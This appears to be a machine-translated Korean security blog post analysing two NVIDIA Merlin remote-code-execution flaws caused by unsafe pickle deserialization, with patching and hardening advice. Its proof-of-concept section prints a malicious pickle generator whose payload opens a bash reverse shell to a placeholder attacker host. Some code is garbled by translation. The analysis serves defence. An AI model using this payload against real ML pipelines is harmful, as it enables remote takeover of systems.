펜리젠트 헤더

NVIDIA Merlin RCE 취약성(CVE-2025-33214 및 CVE-2025-33213) 심층 분석 및 해결 방법

AI 인프라 환경은 심각한 보안 문제에 직면해 있습니다. 엔비디아 멀린대규모 고성능 추천 시스템을 구축하기 위한 업계 표준 프레임워크에는 두 가지 중요한 사항이 포함되어 있는 것으로 밝혀졌습니다. 원격 코드 실행(RCE) 취약점.

추적 대상 CVE-2025-33214 그리고 CVE-2025-33213이러한 결함은 NVTabular 그리고 Transformers4Rec 라이브러리. 이는 파이썬의 데이터 처리의 근본적인 약점에서 비롯된 것입니다: 안전하지 않은 역직렬화(CWE-502).

공격자는 이러한 결함을 악용하여 시스템에 악성 구성 파일이나 모델 체크포인트를 로드하도록 유도함으로써 GPU 클러스터를 손상시키고, AI 모델을 오염시키거나, 독점 데이터 세트를 유출할 수 있습니다. 이 문서에서는 익스플로잇 메커니즘에 대한 기술적 분석, MLOps 파이프라인에 미치는 영향, 필수 패치 전략에 대해 설명합니다.

NVIDIA Merlin RCE 취약점

취약성 매트릭스: 영향을 받는 대상은 무엇인가요?

이 취약점은 Merlin 컴포넌트가 데이터 직렬화를 처리하는 방식에 영향을 미치며, 특히 피클 모듈을 사용하여 디스크에서 아티팩트를 로드합니다.

구성 요소CVE ID취약점 유형심각도영향을 받는 기능
NVTabularCVE-2025-33214안전하지 않은 역직렬화중요다음을 통해 저장된 워크플로 개체를 로드합니다. 워크플로.로드()
Transformers4RecCVE-2025-33213안전하지 않은 역직렬화중요모델 체크포인트 및 교육 구성 로드하기

두 취약점 모두 CVSS 점수가 거의 비슷합니다. 9.8는 원격(파일 소스가 원격인 경우) 또는 로컬에서 악용할 수 있고 인증이 필요하지 않으며 전체 시스템 손상을 초래할 수 있음을 나타냅니다.

기술 해부학: 절임이 독이 될 때

이해하려면 이러한 CVE는 매우 위험하기 때문에 공격의 근본적인 메커니즘을 분석해야 합니다: 파이썬의 피클 직렬화 형식입니다.

"피클" 문제

NVIDIA Merlin RCE 취약성(CVE-2025-33214 및 CVE-2025-33213) 심층 분석 및 해결 방법

데이터 전용 형식인 JSON이나 CSV와는 다릅니다, 피클 은 스택 기반 가상 머신 엔진입니다. 단순히 데이터만 저장하는 것이 아니라 Python 객체를 재구성하는 방법에 대한 지침을 저장합니다.

취약점은 __reduce__ 메서드. 파이썬이 객체의 피클을 해제할 때, 해당 객체가 다음을 정의하면 __reduce__를 호출하면 파이썬은 해당 메서드가 반환한 콜러블을 실행합니다. 합법적인 객체 재구성을 위해 설계된 이 기능을 사용하면 공격자가 임의의 바이트코드를 삽입할 수 있습니다.

익스플로잇 코드 분석(개념 검증)

⚠️ 면책 조항: 다음 코드는 교육 및 방어 테스트 목적으로만 사용됩니다.

의 맥락에서 NVTabular공격자는 악의적인 워크플로 디렉터리로 이동합니다. 데이터 과학자 또는 자동화된 MLOps 파이프라인이 이 워크플로우를 로드하여 ETL 작업을 수행하면 페이로드가 트리거됩니다.

무기화된 페이로드 생성기의 모습은 다음과 같습니다:

Python

`피클 가져 오기 가져 오기

class MaliciousArtifact(객체): def 감소(자체): # 페이로드: 이 명령은 역직렬화 즉시 실행됩니다. # 실제 공격에서는 리버스 셸 또는 C2 비콘이 될 것입니다. cmd = "bash -c 'bash -i >& /dev/tcp/attacker-ip/4444 0>&1′" return (os.system, (cmd,))

독 생성

손상된 모델 파일 또는 워크플로 구성을 시뮬레이션합니다.

익스플로잇_데이터 = pickle.dumps(MaliciousArtifact())

트리거

NVTabular 또는 Transformers4Rec 내부에서는 이와 유사한 코드가 실행됩니다:

실행 전에 파일 내용에 대한 검증은 수행되지 않습니다.

pickle.loads(exploit_data)`

트랜스포머4Rec 벡터

For Transformers4Rec (CVE-2025-33213), 위험은 종종 PyTorch 모델 파일 안에 숨겨져 있습니다(.pt 또는 .bin). 표준 파이토치 저장 메커니즘은 피클 기본적으로 신뢰할 수 없는 소스(예: 손상된 허깅 페이스 리포지토리)에서 다운로드한 사전 학습된 모델은 트로이 목마 역할을 할 수 있습니다.

영향 분석: 타협의 비용

CISO와 엔지니어링 디렉터가 관심을 가져야 하는 이유는 무엇인가요? Merlin 파이프라인은 고부가가치 인프라에서 실행되기 때문입니다.

A. GPU 클러스터 하이재킹(크립토재킹)

Merlin은 NVIDIA A100/H100 GPU용으로 설계되었습니다. 이는 암호화폐 채굴을 위해 가장 탐나는 리소스입니다. RCE를 사용하면 공격자가 채굴기를 조용히 설치할 수 있어 기업은 매일 수천 달러의 클라우드 컴퓨팅 비용을 지불해야 합니다.

B. 공급망 중독

공격자가 NVTabular(ETL 단계)를 통해 학습 파이프라인을 손상시키면 입력 데이터를 교묘하게 변경할 수 있습니다.

  • 결과: 이 모델은 숨겨진 편견이나 백도어(예: "항상 이 특정 제품 추천" 또는 "이 사용자 ID에 대한 사기 플래그 무시")를 학습합니다.

C. 측면 이동

AI 학습 클러스터는 데이터 레이크(S3, Snowflake) 및 내부 코드 리포지토리에 대한 권한이 있는 경우가 많습니다. 손상된 노드는 기업 네트워크에 더 깊숙이 침투할 수 있는 완벽한 교두보 역할을 합니다.

개선 전략: AI 파이프라인 보안

NVIDIA는 패치를 발표했지만, 진정한 해결을 위해서는 조직에서 AI 아티팩트를 처리하는 방식이 바뀌어야 합니다.

1단계: 즉각적인 패치 적용("출혈 중지" 단계)

현재 버전을 확인하고 다음을 사용하여 즉시 업그레이드하세요. pip 또는 콘다.

Bash

`# NVTabular를 패치된 버전으로 업데이트 pip install -upgrade nvtabular

Transformers4Rec을 패치된 버전으로 업데이트하세요.

pip 설치 -업그레이드 트랜스포머4rec`

인증:

설치 후 NVIDIA 보안 게시판에서 버전 번호를 확인하여 2025년 12월 이후의 릴리스를 사용 중인지 확인하세요.

2단계: 아키텍처 강화("제로 트러스트" 단계)

1. 세이프텐서로의 마이그레이션

업계는 피클에서 벗어나고 있습니다. 세이프텐서 는 Hugging Face에서 개발한 새로운 직렬화 형식으로, 설계상 안전합니다. 텐서를 데이터로만 저장하기 때문에 로딩 중에 코드 실행이 불가능합니다.

코드 마이그레이션 예시:

Python

# ❌ 취약성(레거시 파이토치/피클) torch.save(model.state_dict(), "model.pt") model.load_state_dict(torch.load("model.pt“))

보안(세이프텐서)

safetensors.torch에서 save_file, load_file 가져오기

save_file(model.state_dict(), "model.safetensors") load_file(model, "model.safetensors")`

2. 모델 스캔 구현

스캐너를 CI/CD 파이프라인 또는 모델 레지스트리에 통합하세요. 다음과 같은 도구 피클스캔 분석할 수 있습니다. .pkl, .pt.bin 파일을 로드하기 전에 의심스러운 바이트코드 서명이 있는지 확인합니다.

3. 네트워크 세분화(송신 필터링)

교육 환경에서는 인터넷에 자유롭게 액세스할 수 없어야 합니다.

  • 차단: 기본적으로 모든 아웃바운드 트래픽.
  • 허용합니다: 신뢰할 수 있는 특정 도메인(예: 내부 PyPI 미러, 특정 S3 버킷)만 해당됩니다.
  • Why: 이렇게 하면 위의 PoC에서와 같은 리버스 셸이 공격자의 명령 및 제어 서버에 다시 연결되는 것을 방지할 수 있습니다.

결론

CVE-2025-33214와 CVE-2025-33213의 공개는 AI 업계에 경각심을 일깨우는 계기가 되었습니다. 더 이상 모델 파일과 데이터 워크플로를 무해한 정적 자산으로 취급할 수 없습니다; 실행 가능한 코드입니다.

AI가 중요한 비즈니스 운영에 더 깊이 통합됨에 따라 MLOps 파이프라인을 보호하는 것은 웹 애플리케이션 자체를 보호하는 것만큼이나 중요합니다.

오늘의 실행 계획:

  1. 감사: 실행 pip 목록 를 모든 교육 컨테이너에 추가합니다.
  2. 패치: 최신 NVIDIA Merlin 버전을 배포합니다.
  3. 리팩터링: 피클을 세이프텐서로 대체하기 위한 로드맵을 시작하세요.
게시물을 공유하세요:
관련 게시물